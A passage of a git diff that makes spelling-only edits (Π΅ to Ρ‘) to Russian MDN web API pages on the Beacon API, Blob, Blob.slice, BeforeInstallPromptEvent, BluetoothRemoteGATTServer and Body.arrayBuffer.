ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π²ΠΎ врСмя Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ. Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² создании Π½Π΅Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ†ΠΈΠΊΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ  Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сСкунд Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΈΡΠ΅Ρ‚ΡŒΒ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр.</p>
+<p>Π•ΡΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ прСдоставлСния Π΄Π°Π½Π½Ρ‹Ρ…. Одним ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² являСтся Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΡƒΡ‚Ρ‘ΠΌ создания элСмСнта Image ΠΈ установки Π΅Π³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>src</code>Β Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°ΡŽΡ‚ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΡƒ для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΎΠΆΠΈΠ΄Π°ΡŽΡ‰Π΅ΠΉ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ изобраТСния, Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ Π²ΠΎ врСмя Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ. Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² создании Π½Π΅Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ†ΠΈΠΊΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ  Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… сСкунд Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΈΡΠ΅Ρ‚ΡŒΒ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ΅ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΡƒ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр.</p>
-<p>Π­Ρ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠ»ΠΎΡ…ΠΈΠ΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ программирования, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ ΠΈ приводят ΠΊ Π²ΠΎΡΠΏΡ€ΠΈΡΡ‚ΠΈΡŽ ΠΏΠ»ΠΎΡ…ΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ. API-интСрфСйс Beacon прСдоставляСт стандартный способ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.</p>
+<p>Π­Ρ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠ»ΠΎΡ…ΠΈΠ΅ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ программирования, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ… Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ ΠΈ приводят ΠΊ Π²ΠΎΡΠΏΡ€ΠΈΡΡ‚ΠΈΡŽ ΠΏΠ»ΠΎΡ…ΠΎΠΉ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ страницы для ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ. API-интСрфСйс Beacon прСдоставляСт стандартный способ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этих ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.</p>
<h2 id="Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ_контСкст">Π“Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ контСкст</h2>
diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html
index a9359fddfe..ab241f8f1d 100644
--- a/files/ru/web/api/beforeinstallpromptevent/index.html
+++ b/files/ru/web/api/beforeinstallpromptevent/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/BeforeInstallPromptEvent
<dl>
<dt>{{domxref("BeforeInstallPromptEvent.BeforeInstallPromptEvent","BeforeInstallPromptEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <code><strong>BeforeInstallPromptEvent</strong></code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉΒ <code><strong>BeforeInstallPromptEvent</strong></code>.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/blob/blob/index.html b/files/ru/web/api/blob/blob/index.html
index b1ed2d7bc1..6969b073ff 100644
--- a/files/ru/web/api/blob/blob/index.html
+++ b/files/ru/web/api/blob/blob/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Blob/Blob
---
<p>{{APIRef("File API")}}</p>
-<p><code><font face="Open Sans, Arial, sans-serif">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β </font><strong>Blob()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Blob")}}. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ blob состоит ΠΈΠ· ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅Β <em>array</em>.</p>
+<p><code><font face="Open Sans, Arial, sans-serif">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β </font><strong>Blob()</strong></code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("Blob")}}. Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ blob состоит ΠΈΠ· ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅Β <em>array</em>.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/blob/index.html b/files/ru/web/api/blob/index.html
index a256ce6a5f..445e8da297 100644
--- a/files/ru/web/api/blob/index.html
+++ b/files/ru/web/api/blob/index.html
@@ -73,7 +73,7 @@ var myBlob = builder.getBlob('text/xml');
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_URL_для_содСрТимого_Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ_массива">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ URL для содСрТимого Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив JavaScript ΠΈ создаСт Π½ΠΎΠ²Ρ‹ΠΉ <code>Blob</code>, содСрТащий Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива. Π—Π°Ρ‚Π΅ΠΌ вызываСтся {{DOMxRef("URL.createObjectURL()")}} для прСобразования blob Π² {{glossary("URL")}}.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив JavaScript ΠΈ создаёт Π½ΠΎΠ²Ρ‹ΠΉ <code>Blob</code>, содСрТащий Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива. Π—Π°Ρ‚Π΅ΠΌ вызываСтся {{DOMxRef("URL.createObjectURL()")}} для прСобразования blob Π² {{glossary("URL")}}.</p>
<h4 id="HTML">HTML</h4>
@@ -84,7 +84,7 @@ var myBlob = builder.getBlob('text/xml');
<h4 id="JavaScript">JavaScript</h4>
-<p>Основной Ρ‡Π°ΡΡ‚ΡŒΡŽ этого ΠΊΠΎΠ΄Π° для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° являСтся функция <code>typedArrayToURL()</code>, которая создаСт <code>Blob</code> ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ URL для Π½Π΅Π³ΠΎ. ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π² Π΄Π°Π½Π½Ρ‹Π΅ Π² URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ нСсколькими способами, Π² Ρ‚ΠΎΠΌ числС, Π² качСствС значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("src", "img")}} элСмСнтов {{HTMLElement("img")}} (ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ содСрТат ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅).</p>
+<p>Основной Ρ‡Π°ΡΡ‚ΡŒΡŽ этого ΠΊΠΎΠ΄Π° для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° являСтся функция <code>typedArrayToURL()</code>, которая создаёт <code>Blob</code> ΠΈΠ· ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ массива ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ URL для Π½Π΅Π³ΠΎ. ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π² Π΄Π°Π½Π½Ρ‹Π΅ Π² URL ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ нСсколькими способами, Π² Ρ‚ΠΎΠΌ числС, Π² качСствС значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("src", "img")}} элСмСнтов {{HTMLElement("img")}} (ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ содСрТат ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅).</p>
<pre class="brush: js">function typedArrayToURL(typedArray, mimeType) {
return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
diff --git a/files/ru/web/api/blob/slice/index.html b/files/ru/web/api/blob/slice/index.html
index f0e5eaf4df..384577a82c 100644
--- a/files/ru/web/api/blob/slice/index.html
+++ b/files/ru/web/api/blob/slice/index.html
@@ -17,9 +17,9 @@ translation_of: Web/API/Blob/slice
<dl>
<dt><code>start</code> {{optional_inline}}</dt>
- <dd>ИндСкс Π² {{domxref("Blob")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π°ΠΉΡ‚, Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("Blob")}}. Если ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, это Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ смСщСниС с ΠΊΠΎΠ½Ρ†Π° строки ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, -10 Π±ΡƒΠ΄Π΅Ρ‚ 10-Ρ‹ΠΌ ΠΎΡ‚ послСднСго Π±Π°ΠΉΡ‚Π° {{domxref("Blob")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Если ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>start</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ большС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° источника {{domxref("Blob")}}, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎΒ {{domxref("Blob")}} Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ 0 ΠΈΒ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ….</dd>
+ <dd>ИндСкс Π² {{domxref("Blob")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π°ΠΉΡ‚, Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("Blob")}}. Если ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, это Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ смСщСниС с ΠΊΠΎΠ½Ρ†Π° строки ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, -10 Π±ΡƒΠ΄Π΅Ρ‚ 10-Ρ‹ΠΌ ΠΎΡ‚ послСднСго Π±Π°ΠΉΡ‚Π° {{domxref("Blob")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Если ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>start</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ большС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° источника {{domxref("Blob")}}, Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎΒ {{domxref("Blob")}} Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½ 0 ΠΈΒ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ….</dd>
<dt><code>end</code> {{optional_inline}}</dt>
- <dd>ИндСкс Π² {{domxref("Blob")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π°ΠΉΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ <strong>Π½Π΅</strong>Β Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("Blob")}} (Ρ‚.Π΅. Π±Π°ΠΉΡ‚ с этим индСксом Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½). Если ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, это Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ смСщСниС с ΠΊΠΎΠ½Ρ†Π° строки ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, -10 Π±ΡƒΠ΄Π΅Ρ‚ 10-Ρ‹ΠΌ ΠΎΡ‚ послСднСго Π±Π°ΠΉΡ‚Π°Β {{domxref("Blob")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>size</code>.</dd>
+ <dd>ИндСкс Π² {{domxref("Blob")}} ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π°ΠΉΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ <strong>Π½Π΅</strong>Β Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Π½ΠΎΠ²Ρ‹ΠΉ {{domxref("Blob")}} (Ρ‚.Π΅. Π±Π°ΠΉΡ‚ с этим индСксом Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½). Если ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, это Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ, ΠΊΠ°ΠΊ смСщСниС с ΠΊΠΎΠ½Ρ†Π° строки ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, -10 Π±ΡƒΠ΄Π΅Ρ‚ 10-Ρ‹ΠΌ ΠΎΡ‚ послСднСго Π±Π°ΠΉΡ‚Π°Β {{domxref("Blob")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>size</code>.</dd>
<dt><code>contentType</code> {{optional_inline}}</dt>
<dd>Π’ΠΈΠΏ содСрТимого Π½ΠΎΠ²ΠΎΠ³ΠΎ {{domxref("Blob")}}; это Π±ΡƒΠ΄Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΅Π³ΠΎ свойства <code>type</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - пустая строка.</dd>
</dl>
diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html
index f99ea7c5c1..3f5fad78b7 100644
--- a/files/ru/web/api/bluetoothremotegattserver/index.html
+++ b/files/ru/web/api/bluetoothremotegattserver/index.html
@@ -13,7 +13,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer
---
<div>{{APIRef("Bluetooth API")}}{{SeeCompatTable}}</div>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся ΠΊ <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, прСдставляСт сСрвСр GATT Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ устройствС.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <code><strong>BluetoothRemoteGATTServer</strong></code>, относящийся ΠΊ <a href="/en-US/docs/Web/API/Web_Bluetooth_API">Web Bluetooth API</a>, прСдставляСт сСрвСр GATT Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ устройствС.</p>
<div class="note">
<p>Данная страница описываСт Web Bluetooth API ΠΎΡ‚ W3C Community Group. <a href="/en-US/docs/Archive/B2G_OS/API/BluetoothGattServer"><code>BluetoothGattServer</code> (Firefox OS)</a> -Β Bluetooth API Π² Firefox OS.</p>
diff --git a/files/ru/web/api/body/arraybuffer/index.html b/files/ru/web/api/body/arraybuffer/index.html
index 7aff670eb7..31402b8a22 100644
--- a/files/ru/web/api/body/arraybuffer/index.html
+++ b/files/ru/web/api/body/arraybuffer/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/Body/arrayBuffer
---
<div>{{APIRef("Fetch")}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>arrayBuffer()</code></strong>Β ΠΈΠ· примСси(mixin)Β {{domxref("Body")}} Π±Π΅Ρ€Π΅Ρ‚ ΠΏΠΎΡ‚ΠΎΠΊ(stream) {{domxref("Response")}} ΠΈ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Π΅Π³ΠΎ Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Он Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("ArrayBuffer")}}.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>arrayBuffer()</code></strong>Β ΠΈΠ· примСси(mixin)Β {{domxref("Body")}} Π±Π΅Ρ€Π΅Ρ‚ ΠΏΠΎΡ‚ΠΎΠΊ(stream) {{domxref("Response")}} ΠΈ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Π΅Π³ΠΎ Π΄ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ. Он Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{domxref("ArrayBuffer")}}.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -32,9 +32,9 @@ translation_of: Web/API/Body/arrayBuffer
<pre class="brush: js">new Audio(music.ogg).play()
</pre>
